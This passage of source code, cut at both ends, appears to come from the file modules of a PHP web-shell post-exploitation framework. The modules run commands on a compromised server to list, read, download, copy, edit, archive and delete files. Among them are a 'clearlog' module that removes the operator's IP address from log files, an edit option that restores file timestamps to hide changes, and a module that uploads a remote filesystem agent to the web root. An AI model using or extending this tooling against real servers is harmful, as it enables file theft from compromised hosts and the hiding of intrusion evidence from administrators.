var_export($test->infosZip('./toto.zip')); 26 | $test->extractZip('./toto.zip', './new/'); 27 | **/ 28 | function infosZip ($src, $data=true) 29 | { 30 | if (($zip = zip_open($src))) 31 | { 32 | while (($zip_entry = zip_read($zip))) 33 | { 34 | $path = zip_entry_name($zip_entry); 35 | if (zip_entry_open($zip, $zip_entry, "r")) 36 | { 37 | $content[$path] = array ( 38 | 'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false, 39 | 'Size' => zip_entry_compressedsize($zip_entry), 40 | 'UnCompSize' => zip_entry_filesize($zip_entry)); 41 | if ($data) 42 | $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); 43 | zip_entry_close($zip_entry); 44 | } 45 | else 46 | $content[$path] = false; 47 | } 48 | zip_close($zip); 49 | return $content; 50 | } 51 | return false; 52 | } 53 | function extractZip ($src, $dest) 54 | { 55 | $zip = new ZipArchive; 56 | if ($zip->open($src)===true) 57 | { 58 | $zip->extractTo($dest); 59 | $zip->close(); 60 | return true; 61 | } 62 | return false; 63 | } 64 | function makeZip ($src, $dest) 65 | { 66 | $zip = new ZipArchive; 67 | $src = is_array($src) ? $src : array($src); 68 | if ($zip->open($dest, ZipArchive::CREATE) === true) 69 | { 70 | foreach ($src as $item) 71 | { 72 | if (is_dir($item)) { 73 | $this->addZipItem($zip, dirname($item).'/', $item.'/'); 74 | } 75 | elseif(is_file($item)) { 76 | $zip->addFile($item, $item); 77 | } 78 | } 79 | $zip->close(); 80 | return true; 81 | } 82 | return false; 83 | } 84 | function addZipItem ($zip, $racine, $dir) 85 | { 86 | if (is_dir($dir)) 87 | { 88 | $zip->addEmptyDir(str_replace($racine, '', $dir)); 89 | $lst = scandir($dir); 90 | array_shift($lst); 91 | array_shift($lst); 92 | foreach ($lst as $item) { 93 | $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':'')); 94 | } 95 | } 96 | elseif (is_file($dir)) { 97 | $zip->addFile($dir, str_replace($racine, '', $dir)); 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /modules/file/_zip/php_zip.tpl: -------------------------------------------------------------------------------- 1 | <%include file="EasyZip.class.php"/> 2 | 3 | $f='set_time_limit'&&is_callable($f)&&$f(0); 4 | $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); 5 | $a = new zip; 6 | 7 | $z = '${ rzip }'; 8 | 9 | $fs=array ( 10 | % for f in rfiles: 11 | '${ f }', 12 | % endfor 13 | ); 14 | 15 | ## Here decompress 16 | % if decompress: 17 | 18 | if(!file_exists($z) || !is_readable($z)) { 19 | print("Skipping file '$z', check existance and permission"); 20 | } 21 | else { 22 | $a->extractZip($z, '${ rfiles[0] if rfiles and rfiles[0] else '.' }'); 23 | } 24 | 25 | ## Here compress 26 | % else: 27 | 28 | if(file_exists($z)) { 29 | print("File '$z' already exists, skipping compressing"); 30 | } 31 | else { 32 | $a->makeZip($fs, $z); 33 | } 34 | 35 | ## Since makeZip does not complain for missing $z, just double 36 | ## check the existance of the zipped file and print generic error message 37 | if(!file_exists($z)) { 38 | print("File '$z' not created, check existance and permission"); 39 | } 40 | 41 | % endif 42 | -------------------------------------------------------------------------------- /modules/file/bzip2.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ModuleExec 2 | from core.module import Module 3 | from core import messages 4 | from core import modules 5 | from core.loggers import log 6 | import os 7 | 8 | class Bzip2(Module): 9 | 10 | """Compress or expand bzip2 files.""" 11 | 12 | aliases = [ 'bzip2', 'bunzip2' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | PhpFile( 28 | payload_path = os.path.join(self.folder, 'php_bzip2.tpl'), 29 | name = 'php_bzip2', 30 | ) 31 | ] 32 | ) 33 | 34 | self.register_arguments([ 35 | { 'name' : 'rpaths', 'help' : 'Remote file paths', 'nargs' : '+' }, 36 | { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate gunzip' }, 37 | { 'name' : '--keep', 'action' : 'store_true', 'default' : False, 'help' : 'Keep (don\'t delete) input files' }, 38 | ]) 39 | 40 | def run(self, **kwargs): 41 | 42 | # The correct execution returns something only on errors 43 | result_err = self.vectors.get_result( 44 | name = 'php_bzip2', 45 | format_args = self.args, 46 | ) 47 | 48 | if result_err: 49 | log.warning(result_err) 50 | return 51 | 52 | return True 53 | -------------------------------------------------------------------------------- /modules/file/cd.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ModuleExec 2 | from core.module import Module 3 | from core import messages 4 | from core.loggers import log 5 | import random 6 | 7 | 8 | class Cd(Module): 9 | 10 | """Change current working directory.""" 11 | 12 | aliases = [ 'cd' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_arguments([ 26 | { 'name' : 'dir', 'help' : 'Target folder', 'nargs' : '?' } 27 | ]) 28 | 29 | def run(self, **kwargs): 30 | 31 | # When no folder is specified, change folder to SCRIPT_NAME to 32 | # simulate the bash behaviour. If not available, use current dir. 33 | 34 | if not self.args.get('dir'): 35 | script_folder = ModuleExec( 36 | 'system_info', 37 | [ '-info', 'script_folder' ] 38 | ).load_result_or_run( 39 | result_name = 'script_folder' 40 | ) 41 | 42 | self.args['dir'] = script_folder if script_folder else '.' 43 | 44 | # The execution and result storage is done manually cause 45 | # no result has to be stored if the execution fails. This 46 | # is not simple to implement using 47 | # self.vectors.get_result(.., store_result). 48 | 49 | folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run( 50 | self.args 51 | ) 52 | 53 | if folder: 54 | self._store_result('cwd', folder) 55 | else: 56 | log.warning( 57 | messages.module_file_cd.failed_directory_change_to_s % 58 | (self.args['dir']) 59 | ) 60 | 61 | def run_alias(self, line, cmd): 62 | 63 | # Run this alias independently from the shell_sh status 64 | return self.run_cmdline(line) 65 | -------------------------------------------------------------------------------- /modules/file/check.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode 2 | from core.module import Module 3 | import datetime 4 | import utils 5 | 6 | 7 | class Check(Module): 8 | """Get attributes and permissions of a file.""" 9 | 10 | def init(self): 11 | self.register_info( 12 | { 13 | 'author': [ 14 | 'Emilio Pinna' 15 | ], 16 | 'license': 'GPLv3' 17 | } 18 | ) 19 | 20 | # Declared here since is used by multiple vectors 21 | payload_perms = ( 22 | "$f='${rpath}';if(@file_exists($f)){print('e');if(@is_readable($f))print('r');" + 23 | "if(@is_writable($f))print('w');if(@is_executable($f))print('x');}" 24 | ) 25 | 26 | self.register_vectors( 27 | [ 28 | PhpCode(payload_perms, 'exists', 29 | postprocess=lambda x: True if 'e' in x else False), 30 | PhpCode("print(md5_file('${rpath}'));", 'md5'), 31 | PhpCode(payload_perms, 'perms'), 32 | PhpCode(payload_perms, 'readable', 33 | postprocess=lambda x: True if 'r' in x else False), 34 | PhpCode(payload_perms, 'writable', 35 | postprocess=lambda x: True if 'w' in x else False), 36 | PhpCode(payload_perms, 'executable', 37 | postprocess=lambda x: True if 'x' in x else False), 38 | PhpCode("print(is_file('${rpath}') ? 1 : 0);", 'file', 39 | postprocess=lambda x: True if x == '1' else False), 40 | PhpCode("print(is_dir('${rpath}') ? 1 : 0);", 'dir', 41 | postprocess=lambda x: True if x == '1' else False), 42 | PhpCode("print(filesize('${rpath}'));", 'size', 43 | postprocess=lambda x: utils.prettify.format_size(int(x))), 44 | PhpCode("print(filemtime('${rpath}'));", 'time', 45 | postprocess=lambda x: int(x)), 46 | PhpCode("print(filemtime('${rpath}'));", 'datetime', 47 | postprocess=lambda x: datetime.datetime.fromtimestamp(float(x)).strftime('%Y-%m-%d %H:%M:%S')), 48 | PhpCode("print(realpath('${rpath}'));", 'abspath') 49 | ] 50 | ) 51 | 52 | self.register_arguments([ 53 | {'name': 'rpath', 'help': 'Target path'}, 54 | {'name': 'check', 'choices': self.vectors.get_names()}, 55 | ]) 56 | 57 | def run(self, **kwargs): 58 | return self.vectors.get_result( 59 | name=self.args['check'], 60 | format_args=self.args 61 | ) 62 | -------------------------------------------------------------------------------- /modules/file/clearlog.py: -------------------------------------------------------------------------------- 1 | from core.vectors import ShellCmd, PhpCode 2 | from core.module import Module 3 | 4 | class Clearlog(Module): 5 | 6 | """Remove string from a file.""" 7 | 8 | def init(self): 9 | 10 | self.register_info( 11 | { 12 | 'author': [ 13 | 'appo' 14 | ], 15 | 'license': 'GPLv3' 16 | } 17 | ) 18 | 19 | 20 | self.register_vectors( 21 | [ 22 | PhpCode("""$fc=file("${file}"); 23 | $f=fopen("${file}","w"); 24 | foreach($fc as $line) 25 | { 26 | if (!strstr($line,"${ip}")) 27 | fputs($f,$line); 28 | } 29 | fclose($f);""", 30 | name = "php_clear" 31 | ), 32 | ShellCmd("""sed -i /${ip}/d ${file}""", 33 | name = "clearlog" 34 | ), 35 | ShellCmd("""sed /${ip}/d ${file} > ${file}.$$ && /bin/mv ${file}.$$ ${file}""", 36 | name = "old_school" 37 | ) 38 | ] 39 | ) 40 | 41 | self.register_arguments([ 42 | { 'name' : 'ip', 'help' : 'Your IP' }, 43 | { 'name' : 'file', 'help' : 'File to Clear' }, 44 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : "clearlog" }, 45 | ]) 46 | 47 | def run(self, **kwargs): 48 | 49 | return self.vectors.get_result( 50 | name = self.args['vector'], 51 | format_args = self.args 52 | ) 53 | -------------------------------------------------------------------------------- /modules/file/cp.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | 5 | class Cp(Module): 6 | 7 | """Copy single file.""" 8 | 9 | aliases = [ 'cp', 'copy' ] 10 | 11 | def init(self): 12 | 13 | self.register_info( 14 | { 15 | 'author': [ 16 | 'Emilio Pinna' 17 | ], 18 | 'license': 'GPLv3' 19 | } 20 | ) 21 | 22 | self.register_vectors( 23 | [ 24 | PhpCode( 25 | "(@copy('${srcpath}', '${dstpath}')&&print(1))||print(0);", 26 | name = 'php_copy' 27 | ), 28 | PhpCode( 29 | "(@file_put_contents('${dstpath}', file_get_contents('${srcpath}'))&&print(1))||print(0);", 30 | name = 'php_file_contents' 31 | ), 32 | ShellCmd( 33 | "cp '${srcpath}' '${dstpath}' && echo 1 || echo 0", 34 | name = 'sh_cp', 35 | target = Os.NIX 36 | ), 37 | ] 38 | ) 39 | 40 | self.register_arguments([ 41 | { 'name' : 'srcpath', 'help' : 'Remote source file path' }, 42 | { 'name' : 'dstpath', 'help' : 'Remote destination file path' }, 43 | { 'name' : '-vector', 'choices' : self.vectors.get_names() } 44 | ]) 45 | 46 | def run(self, **kwargs): 47 | 48 | vector_name, result = self.vectors.find_first_result( 49 | names = [ self.args.get('vector') ], 50 | format_args = self.args, 51 | condition = lambda result: True if result == '1' else False 52 | ) 53 | 54 | if vector_name and result: 55 | return True 56 | 57 | return False 58 | -------------------------------------------------------------------------------- /modules/file/download.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import messages 4 | from core.loggers import log 5 | import random 6 | import hashlib 7 | import base64 8 | 9 | 10 | class Download(Module): 11 | 12 | """Download file from remote filesystem.""" 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | PhpCode( 28 | "print(@base64_encode(implode('',@file('${rpath}'))));", 29 | name = 'file' 30 | ), 31 | PhpCode( 32 | "$f='${rpath}';print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));", 33 | name = 'fread' 34 | ), 35 | PhpCode( 36 | "print(@base64_encode(file_get_contents('${rpath}')));", 37 | name = 'file_get_contents' 38 | ), 39 | ShellCmd( 40 | "base64 -w 0 ${rpath} 2>/dev/null", 41 | name = 'base64', 42 | target = Os.NIX 43 | ), 44 | ] 45 | ) 46 | 47 | self.register_arguments([ 48 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 49 | { 'name' : 'lpath', 'help' : 'Local file path' }, 50 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'file' } 51 | ]) 52 | 53 | def run(self, **kwargs): 54 | 55 | # Check remote file existance 56 | if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run(): 57 | log.warning(messages.module_file_download.failed_download_file) 58 | return 59 | 60 | # Get the remote file MD5. If this is not available, still do a basic check 61 | # to see if the output is decodable as base64 string. 62 | expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run() 63 | if expected_md5: 64 | check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5 65 | else: 66 | log.debug(messages.module_file_download.skipping_md5_check) 67 | check_md5 = lambda r: r != None and bool(base64.b64decode(r)) 68 | 69 | # Find the first vector that satisfy the md5 check 70 | vector_name, result = self.vectors.find_first_result( 71 | format_args = self.args, 72 | condition = check_md5 73 | ) 74 | 75 | # Check if find_first_result failed 76 | if not vector_name: 77 | log.warning(messages.module_file_download.failed_download_file) 78 | return 79 | 80 | # Dump to local file 81 | lpath = self.args.get('lpath') 82 | 83 | try: 84 | result_decoded = base64.b64decode(result) 85 | with open(lpath, 'wb') as resultfile: 86 | resultfile.write(result_decoded) 87 | except Exception as e: 88 | log.warning( 89 | messages.generic.error_loading_file_s_s % (lpath, str(e))) 90 | return 91 | 92 | return result_decoded 93 | 94 | def print_result(self, result): 95 | """Override print_result to avoid to print the content""" 96 | pass 97 | -------------------------------------------------------------------------------- /modules/file/edit.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core.loggers import log 4 | from core import modules 5 | from core import messages 6 | import tempfile 7 | import subprocess 8 | import hashlib 9 | import base64 10 | import re 11 | 12 | class Edit(Module): 13 | 14 | """Edit remote file on a local editor.""" 15 | 16 | aliases = [ 17 | 'vi', 18 | 'vim', 19 | 'emacs', 20 | 'nano', 21 | 'pico', 22 | 'gedit', 23 | 'kwrite' 24 | ] 25 | 26 | def init(self): 27 | 28 | self.register_info( 29 | { 30 | 'author': [ 31 | 'Emilio Pinna' 32 | ], 33 | 'license': 'GPLv3' 34 | } 35 | ) 36 | 37 | self.register_arguments([ 38 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 39 | { 'name' : '-vector', 'choices' : ( 'file', 'fread', 'file_get_contents', 'base64' ) }, 40 | { 'name' : '-keep-ts', 'action' : 'store_true', 'default' : False }, 41 | { 'name' : '-editor', 'help' : 'Choose editor', 'default' : 'vim' } 42 | ]) 43 | 44 | def run(self, **kwargs): 45 | 46 | # Get a temporary file name 47 | suffix = re.sub('[\W]+', '_', self.args['rpath']) 48 | temp_file = tempfile.NamedTemporaryFile(suffix = suffix) 49 | lpath = temp_file.name 50 | 51 | # Keep track of the old timestamp if requested 52 | if self.args['keep_ts']: 53 | timestamp = ModuleExec( 54 | 'file_check', 55 | [ self.args.get('rpath'), 'time' ] 56 | ).run() 57 | 58 | # If remote file already exists and readable 59 | if ModuleExec( 60 | 'file_check', 61 | [ self.args.get('rpath'), 'readable' ] 62 | ).run(): 63 | 64 | # Download file 65 | result_download = ModuleExec( 66 | 'file_download', 67 | [ self.args.get('rpath'), lpath ] 68 | ).run() 69 | 70 | # Exit with no result 71 | # The error should already been printed by file_download exec 72 | if result_download == None: return 73 | 74 | # Store original md5 75 | md5_orig = hashlib.md5(open(lpath, 'rb').read()).hexdigest() 76 | 77 | # Run editor 78 | subprocess.check_call( [ self.args['editor'], lpath ]) 79 | 80 | # With no changes, just return 81 | if md5_orig == hashlib.md5(open(lpath, 'rb').read()).hexdigest(): 82 | log.debug(messages.module_file_edit.unmodified_file) 83 | temp_file.close() 84 | return 85 | 86 | else: 87 | subprocess.check_call( [ self.args['editor'], lpath ]) 88 | 89 | # Upload file 90 | result_upload = ModuleExec( 91 | 'file_upload', 92 | [ '-force', lpath, self.args.get('rpath') ] 93 | ).run() 94 | 95 | 96 | # Reset original timestamp if requested 97 | if self.args['keep_ts']: 98 | ModuleExec( 99 | 'file_touch', 100 | [ self.args.get('rpath'), '-epoch-ts', str(timestamp) ] 101 | ).run() 102 | 103 | # Delete temp file 104 | temp_file.close() 105 | 106 | return result_upload 107 | 108 | def run_alias(self, line, cmd): 109 | 110 | # Run this alias independently from the shell_sh status. 111 | # Also, set the proper editor to run 112 | return self.run_cmdline('%s -editor %s' % (line, cmd)) 113 | -------------------------------------------------------------------------------- /modules/file/enum.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | from core import messages 5 | from core.loggers import log 6 | 7 | class Enum(Module): 8 | 9 | """Check existence and permissions of a list of paths.""" 10 | 11 | def init(self): 12 | 13 | self.register_info( 14 | { 15 | 'author': [ 16 | 'Emilio Pinna' 17 | ], 18 | 'license': 'GPLv3' 19 | } 20 | ) 21 | 22 | self.register_arguments([ 23 | { 'name' : 'paths', 'help' : 'One or more paths', 'nargs' : '*' }, 24 | { 'name' : '-lpath-list', 'help' : 'The local file containing the list of paths' }, 25 | { 'name' : '-print', 'help' : 'Print the paths not found too', 'action' : 'store_true', 'default' : False } 26 | ]) 27 | 28 | def run(self, **kwargs): 29 | 30 | paths = [] 31 | 32 | lpath = self.args.get('lpath_list') 33 | if lpath: 34 | 35 | try: 36 | with open(lpath, 'r') as lfile: 37 | paths = lfile.read().split('\n') 38 | except Exception as e: 39 | log.warning( 40 | messages.generic.error_loading_file_s_s % (lpath, str(e))) 41 | return 42 | 43 | paths += self.args.get('paths') if self.args.get('paths') else [] 44 | 45 | results = {} 46 | 47 | for path in paths: 48 | 49 | result = ModuleExec( "file_check", [ path, "perms" ]).run() 50 | if result or self.args.get('print'): 51 | results[path] = result 52 | 53 | return results 54 | 55 | 56 | def print_result(self, result): 57 | 58 | if not result: return 59 | 60 | result_verbose = {} 61 | 62 | for path, perms in result.items(): 63 | 64 | if len(perms) == 1 and perms[0] == 'e': 65 | result_verbose[path] = 'exists' 66 | else: 67 | verbose_string = ' '.join([ 68 | 'writable' if 'w' in perms else '', 69 | 'readable' if 'r' in perms else '', 70 | 'executable' if 'x' in perms else '' 71 | ]) 72 | 73 | # Re split to delete multiple whitespaces 74 | result_verbose[path] = ' '.join( 75 | verbose_string.strip().split() 76 | ) 77 | 78 | return Module.print_result(self, result_verbose) 79 | -------------------------------------------------------------------------------- /modules/file/find.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ShellCmd 2 | from core.module import Module 3 | from core.loggers import log 4 | from core import messages 5 | import random 6 | import os 7 | 8 | 9 | class Find(Module): 10 | 11 | """Find files with given names and attributes.""" 12 | 13 | aliases = [ 'find' ] 14 | 15 | def init(self): 16 | 17 | self.register_info( 18 | { 19 | 'author': [ 20 | 'Emilio Pinna' 21 | ], 22 | 'license': 'GPLv3' 23 | } 24 | ) 25 | 26 | self.register_vectors( 27 | [ 28 | PhpFile( 29 | payload_path = os.path.join(self.folder, 'bfs_walker.tpl'), 30 | name = 'php_find', 31 | ), 32 | ShellCmd( 33 | # -print -quit must be at the end of the command 34 | payload = """find ${rpath} ${ '-maxdepth 1' if no_recursion else '' } ${ '-writable' if writable else '' } ${ '-readable' if readable else '' } ${ '-executable' if executable else '' } ${ '-type %s' % (ftype) if (ftype == 'd' or ftype == 'f') else '' } ${ "-%sregex '.*%s.*'" % ( '' if case else 'i', expression) if expression else '' } ${ '-print -quit' if quit else '' }""", 35 | name = "sh_find", 36 | arguments = [ 37 | "-stderr_redirection", 38 | " 2>/dev/null", 39 | ] 40 | ) 41 | ] 42 | ) 43 | 44 | self.register_arguments([ 45 | { 'name' : 'rpath', 'help' : 'Starting path' }, 46 | { 'name' : 'expression', 'help' : 'Regular expression to match file name', 'nargs' : '?' }, 47 | { 'name' : '-quit', 'action' : 'store_true', 'default' : False, 'help' : 'Quit at first result' }, 48 | { 'name' : '-writable', 'action' : 'store_true' }, 49 | { 'name' : '-readable', 'action' : 'store_true' }, 50 | { 'name' : '-executable', 'action' : 'store_true' }, 51 | { 'name' : '-ftype', 'help' : 'File type', 'choices' : ( 'f', 'd' ) }, 52 | { 'name' : '-no-recursion', 'action' : 'store_true', 'default' : False }, 53 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_find' }, 54 | { 'name' : '-case', 'help' : 'Case sensitive', 'action' : 'store_true', 'default' : False }, 55 | ]) 56 | 57 | def run(self, **kwargs): 58 | result = self.vectors.get_result( 59 | self.args['vector'], 60 | self.args 61 | ) 62 | 63 | return result.rstrip().split('\n') if isinstance(result, str) else result 64 | 65 | def print_result(self, result): 66 | if result: log.info('\n'.join(result)) 67 | -------------------------------------------------------------------------------- /modules/file/gzip.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ModuleExec 2 | from core.module import Module 3 | from core import messages 4 | from core import modules 5 | from core.loggers import log 6 | import os 7 | 8 | class Gzip(Module): 9 | 10 | """Compress or expand gzip files.""" 11 | 12 | aliases = [ 'gzip', 'gunzip' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | PhpFile( 28 | payload_path = os.path.join(self.folder, 'php_gzip.tpl'), 29 | name = 'php_gzip', 30 | ) 31 | ] 32 | ) 33 | 34 | self.register_arguments([ 35 | { 'name' : 'rpaths', 'help' : 'Remote file paths', 'nargs' : '+' }, 36 | { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate gunzip' }, 37 | { 'name' : '--keep', 'action' : 'store_true', 'default' : False, 'help' : 'Keep (don\'t delete) input files' }, 38 | ]) 39 | 40 | def run(self, **kwargs): 41 | 42 | # The correct execution returns something only on errors 43 | result_err = self.vectors.get_result( 44 | name = 'php_gzip', 45 | format_args = self.args, 46 | ) 47 | 48 | if result_err: 49 | log.warn(result_err) 50 | return 51 | 52 | return True 53 | -------------------------------------------------------------------------------- /modules/file/ls.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode 2 | from core.module import Module 3 | from core.loggers import log 4 | from core import messages 5 | import random 6 | 7 | 8 | class Ls(Module): 9 | 10 | """List directory content.""" 11 | 12 | aliases = [ 'ls', 'dir' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_arguments([ 26 | { 'name' : 'dir', 'help' : 'Target folder', 'nargs' : '?', 'default' : '.' } 27 | ]) 28 | 29 | def run(self, **kwargs): 30 | 31 | return PhpCode(""" 32 | $p="${dir}"; 33 | if(@is_dir($p)){ 34 | $d=@opendir($p); 35 | $a=array(); 36 | if($d){ 37 | while(($f=@readdir($d))) $a[]=$f; 38 | sort($a); 39 | print(join(PHP_EOL,$a)); 40 | } 41 | }""", 42 | postprocess = lambda x: x.split('\n') if x else [] 43 | ).run(self.args) 44 | 45 | def print_result(self, result): 46 | if result: log.info('\n'.join(result)) 47 | -------------------------------------------------------------------------------- /modules/file/mount.py: -------------------------------------------------------------------------------- 1 | from core.vectors import ModuleExec 2 | from core.module import Module, Status 3 | from core import modules 4 | from core import messages 5 | from core.loggers import log 6 | from distutils import spawn 7 | from mako import template 8 | import tempfile 9 | import subprocess 10 | import atexit 11 | 12 | class Mount(Module): 13 | 14 | """Mount remote filesystem using HTTPfs.""" 15 | 16 | def init(self): 17 | 18 | self.register_info( 19 | { 20 | 'author': [ 21 | 'Emilio Pinna' 22 | ], 23 | 'license': 'GPLv3' 24 | } 25 | ) 26 | 27 | self.register_arguments([ 28 | { 'name' : '-rpath', 'help' : 'Remote web path where to save the agent. If it is a folder find the first writable folder in it', 'default' : '.' }, 29 | { 'name' : '-httpfs-binary', 'default' : 'httpfs' }, 30 | { 'name' : '-no-autoremove', 'action' : 'store_true', 'default' : False, 'help' : 'Do not autoremove on exit' } 31 | ]) 32 | 33 | 34 | def run(self, **kwargs): 35 | 36 | # Check binary 37 | binary_path = spawn.find_executable( 38 | self.args['httpfs_binary'] 39 | ) 40 | 41 | if not binary_path: 42 | log.error( 43 | messages.module_file_mount.httpfs_s_not_found % self.args['httpfs_binary'] 44 | ) 45 | return 46 | 47 | # Generate PHP agent 48 | try: 49 | status = 0 50 | agent = subprocess.check_output( 51 | [ binary_path, 'generate', 'php' ] 52 | ) 53 | except subprocess.CalledProcessError as e: 54 | status = e.returncode 55 | agent = '' 56 | 57 | if status or not agent: 58 | log.error( 59 | messages.module_file_mount.error_generating_agent 60 | ) 61 | return 62 | 63 | # Save temporary PHP agent, and upload it 64 | temp_file = tempfile.NamedTemporaryFile( 65 | suffix = '.php', 66 | prefix = '', 67 | delete = False 68 | ) 69 | temp_file.write(agent) 70 | # Without this flush() uploads only a 71 | # portion of the file 72 | temp_file.flush() 73 | 74 | result = ModuleExec( 75 | 'file_upload2web', 76 | [ 77 | temp_file.name, 78 | self.args['rpath'] 79 | ] 80 | ).run() 81 | temp_file.close() 82 | 83 | if ( 84 | not result or 85 | not result[0] or 86 | len(result[0]) != 2 or 87 | not result[0][0] or 88 | not result[0][1] 89 | ): 90 | log.error( 91 | messages.module_file_mount.failed_agent_upload 92 | ) 93 | return 94 | 95 | self.args.update({ 96 | 'agent_abs_path' : result[0][0], 97 | 'agent_url' : result[0][1] 98 | }) 99 | 100 | log.warn( 101 | template.Template( 102 | messages.module_file_mount.agent_installed_tutorial 103 | ).render(**self.args) 104 | ) 105 | 106 | if self.args['no_autoremove']: 107 | log.warn(messages.module_file_mount.httpfs_agent_manually_remove_s % (result[0][0])) 108 | else: 109 | log.warn(messages.module_file_mount.httpfs_agent_removed) 110 | atexit.register( 111 | ModuleExec('file_rm', [ 112 | result[0][0] 113 | ] 114 | ).run 115 | ) 116 | -------------------------------------------------------------------------------- /modules/file/read.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | import tempfile 5 | 6 | class Read(Module): 7 | 8 | """Read remote file from the remote filesystem.""" 9 | 10 | aliases = [ 'cat' ] 11 | 12 | def init(self): 13 | 14 | self.register_info( 15 | { 16 | 'author': [ 17 | 'Emilio Pinna' 18 | ], 19 | 'license': 'GPLv3' 20 | } 21 | ) 22 | 23 | self.register_arguments([ 24 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 25 | { 'name' : '-vector', 'choices' : ( 'file', 'fread', 'file_get_contents', 'base64' ) } 26 | ]) 27 | 28 | def run(self, **kwargs): 29 | 30 | # Get a temporary file name 31 | temp_file = tempfile.NamedTemporaryFile() 32 | self.args['lpath'] = temp_file.name 33 | 34 | arg_vector = [ '-vector', self.args.get('vector') ] if self.args.get('vector') else [] 35 | 36 | # Run file_download 37 | result = ModuleExec( 38 | 'file_download', 39 | [ self.args.get('rpath'), '${lpath}' ] + arg_vector, 40 | name = 'file_download' 41 | ).run(self.args) 42 | 43 | # Delete temp file 44 | temp_file.close() 45 | 46 | return result 47 | -------------------------------------------------------------------------------- /modules/file/rm.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | 5 | class Rm(Module): 6 | 7 | """Remove remote file.""" 8 | 9 | aliases = [ 'rm' ] 10 | 11 | def init(self): 12 | 13 | self.register_info( 14 | { 15 | 'author': [ 16 | 'Emilio Pinna' 17 | ], 18 | 'license': 'GPLv3' 19 | } 20 | ) 21 | 22 | self.register_arguments([ 23 | { 'name' : 'rpath', 'help' : 'Remote file path' } 24 | ]) 25 | 26 | def run(self, **kwargs): 27 | 28 | # Run unlink 29 | return PhpCode("""(unlink('${rpath}') && print(1)) || print(0);""", 30 | postprocess = lambda x: True if x == '1' else False 31 | ).run(self.args) 32 | -------------------------------------------------------------------------------- /modules/file/tar.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ModuleExec 2 | from core.module import Module 3 | from core.loggers import log 4 | import os 5 | 6 | class Tar(Module): 7 | 8 | """Compress or expand tar archives.""" 9 | 10 | aliases = [ 'tar' ] 11 | 12 | def init(self): 13 | 14 | self.register_info( 15 | { 16 | 'author': [ 17 | 'Emilio Pinna' 18 | ], 19 | 'license': 'GPLv3' 20 | } 21 | ) 22 | 23 | self.register_vectors( 24 | [ 25 | PhpFile( 26 | payload_path = os.path.join(self.folder, 'php_tar.tpl'), 27 | name = 'php_tar', 28 | ) 29 | ] 30 | ) 31 | 32 | self.register_arguments([ 33 | { 'name' : 'rtar', 'help' : 'Remote Tar file' }, 34 | { 'name' : 'rfiles', 'help' : 'Remote files to compress. If decompressing, set destination folder.', 'nargs' : '+' }, 35 | { 'name' : '-x', 'dest': 'decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Extract/decompress' }, 36 | { 'name' : '-o', 'dest': 'overwrite', 'action' : 'store_true', 'default' : False, 'help' : 'Overwrite' }, 37 | { 'name' : '-z', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate tar -xz for gzip compressed archives' }, 38 | { 'name' : '-j', 'action' : 'store_true', 'default' : 